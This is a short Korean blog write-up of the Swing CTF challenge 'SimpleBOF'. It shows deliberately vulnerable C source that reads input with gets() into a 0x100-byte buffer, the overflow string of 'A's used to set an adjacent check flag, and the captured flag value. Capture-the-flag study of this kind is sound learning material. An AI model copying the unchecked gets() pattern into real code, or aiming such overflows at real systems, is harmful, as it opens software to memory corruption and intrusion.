CTF
[Swing CTF] Pwn-SimpleBOF
오호츠크해 기단
2022. 11. 26. 03:01
728x90
SimpleBOF
문제 코드를 확인해보면 buf.check가 true면 cat ./flag로 플래그를 얻을 수 있다.
buf의 사이즈가 0x100이므로 쓰레기 값을 넣어서 플래그를 출력할 수 있을 것 같다.
#include <stdio.h>
#include <stdlib.h>
struct buf{
char buf[0x100];
int check;
};
int main(){
struct buf buf;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
memset(buf.buf, NULL, sizeof(buf.buf));
buf.check = 0;
gets(buf.buf);
if(buf.check){
system("cat ./flag"); //플래그 얻을 수 있음!
}
}
넣은 쓰레기값:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
SWING{6967716f4695b22ebe0abaec06ea7dd703f3421e32c2f41439a41f468092885d}